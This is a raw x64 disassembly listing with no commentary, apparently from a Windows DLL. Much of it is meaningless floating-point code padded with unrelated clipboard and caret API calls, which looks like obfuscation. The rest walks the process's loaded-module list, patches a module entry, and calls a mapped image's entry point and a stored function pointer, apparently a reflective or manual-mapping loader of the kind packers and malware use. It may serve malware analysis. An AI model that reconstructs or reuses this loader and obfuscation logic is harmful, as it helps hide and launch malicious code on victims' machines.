movss xmm8, dword [0x180030ea8]
call qword [sym.imp.KERNEL32.dll_UnregisterApplicationRecoveryCallback]
mulss xmm8, xmm9
movaps xmm9, xmm8
mov al, r15b
sub al, r13b
movsx r13d, al
sub r15d, r13d
movd xmm8, r15d
cvtdq2ps xmm8, xmm8
movd xmm0, r13d
cvtdq2ps xmm0, xmm0
movaps xmm6, xmm9
subss xmm6, xmm0
subss xmm6, xmm8
comiss xmm6, xmm10
ja 0x180004c21
comiss xmm6, dword [0x180030ebc]
jbe 0x180004c70
call qword [sym.imp.USER32.dll_GetOpenClipboardWindow]
movsd xmm8, qword [0x180030d58]
call qword [sym.imp.USER32.dll_DestroyCaret]
movaps xmm0, xmm8
subsd xmm0, xmm8
movaps xmm8, xmm0
movaps xmm1, xmm0
divsd xmm1, xmm0
cvttsd2si eax, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
movaps xmm2, xmm8
divsd xmm2, xmm0
xorps xmm6, xmm6
cvtsd2ss xmm6, xmm2
ucomiss xmm6, dword [0x180030ea4]
jp 0x180004cb9
je 0x180004c79
mov eax, dword [rsp + 0x1a8]
mov r15d, 1
add eax, r15d
mov dword [rsp + 0x1a8], eax
mov r9d, dword [rsp + 0x1b0]
cmp eax, r9d
lea eax, [rsi + rsi]
jg 0x180004bf7
jmp 0x180004ced
mov eax, dword [r14 + 4]
add r14, rax
mov r10d, 0xfff
mov r13, qword [rsp + 0x20]
mov eax, dword [r14 + 4]
test eax, eax
mov rdx, qword [rsp + 0x40]
jne 0x180004b46
mov ebx, r15d
movsd xmm6, qword [0x180030e30]
mulsd xmm11, xmm15
addsd xmm11, xmm14
movaps xmm0, xmm11
call fcn.1800037c0
mulsd xmm0, xmm13
addsd xmm7, xmm0
add ebx, r15d
movd xmm11, ebx
cvtdq2pd xmm11, xmm11
comisd xmm6, xmm11
jae 0x180004d14
mov rax, qword [rsp + 0x60]
mov ebx, dword [rax + 0x28]
add rbx, r13
mov rsi, qword [rsp + 0x1a0]
mov rcx, r13
cmp byte [rsi + 8], r12b
jne 0x180004e20
mov rdx, qword [rsi + 0x10]
call fcn.180003818
mov rdi, rax
test rax, rax
je 0x180004e28
cmp byte [rsi + 0x3c], r12b
je 0x180004db2
mov r8, qword [rsi + 0x40]
test r8, r8
je 0x180004db2
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
add rdx, 0x20
mov rcx, qword [rdx]
jmp 0x180004da7
cmp qword [rcx + 0x20], r8
je 0x180004dae
mov rcx, qword [rcx]
cmp rcx, rdx
jne 0x180004d9e
jmp 0x180004db2
mov qword [rcx + 0x20], r13
xor r8d, r8d
mov edx, r15d
mov rcx, r13
call rbx
mov r9d, dword [rsi + 0x38]
mov r8, qword [rsi + 0x30]
mov rdx, qword [rsi + 0x28]
mov rcx, qword [rsi + 0x20]
call rdi
cdqe
lea r11, [rsp + 0x160]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
xor r8d, r8d
mov edx, r15d
call rbx
xor ecx, ecx
movsd xmm0, qword [0x180030f38]
comisd xmm7, xmm0
jb 0x180004e4f
subsd xmm7, xmm0
comisd xmm7, xmm0
jae 0x180004e4f
movabs rax, 0x8000000000000000
mov rcx, rax
cvttsd2si rax, xmm7
add rax, rcx
add rax, rbx
jmp 0x180004dd1
comiss xmm13, xmm6
jbe 0x180004e72
movss xmm0, dword [0x180030e24]
call fcn.180002b2c
mov eax, r13d
mov ecx, eax
call fcn.180002bd8
cvttss2si eax, xmm0
movd xmm6, eax
cvtdq2ps xmm6, xmm6
comiss xmm6, dword [0x180030eb0]
ja 0x180004e75
mov ecx, 0x67
comiss xmm9, xmm6
jb 0x180004ef0
movss xmm7, dword [0x180030eec]
movaps xmm8, xmm14
xorps xmm0, xmm0
cvtsi2sd xmm0, ecx
call fcn.180003110
xorps xmm6, xmm6
cvtsd2ss xmm6, xmm0
movaps xmm1, xmm6
subss xmm1, xmm7
cvttss2si ecx, xmm1
movaps xmm0, xmm6
subss xmm0, xmm8
cvttss2si eax, xmm0
xorps xmm7, xmm7
cvtsi2ss xmm7, ecx
xorps xmm8, xmm8
cvtsi2ss xmm8, eax
divss xmm6, xmm7
mulss xmm6, xmm8
comiss xmm9, xmm6
jae 0x180004ea7
movaps xmm1, xmm15
movss xmm2, dword [0x180030e20]
comiss xmm6, xmm2
jb 0x180004f13
movaps xmm0, xmm1
addss xmm0, xmm1
movaps xmm1, xmm0
movaps xmm6, xmm0
comiss xmm0, xmm2
jae 0x180004f01
movsd xmm7, qword [0x180030db8]
comiss xmm10, xmm6
jbe 0x1800046c6
mov ebx, 0x7b
movsd xmm8, qword [0x180030dc0]
call qword [sym.imp.USER32.dll_GetClipboardViewer]
xorps xmm0, xmm0
cvtsi2ss xmm0, ebx
call fcn.180002b2c
movsx ecx, al
xorps xmm1, xmm1
cvtsi2sd xmm1, ecx
movaps xmm0, xmm1
divsd xmm0, xmm8
cvttsd2si eax, xmm0
addsd xmm7, xmm1
movsx ebx, al
xorps xmm8, xmm8
cvtsi2sd xmm8, ebx
divsd xmm1, xmm8
mulsd xmm1, xmm7
cvtpd2ps xmm6, xmm1
comiss xmm10, xmm6
ja 0x180004f33
jmp 0x1800046c6
sub rbx, r15
jmp 0x180003a7d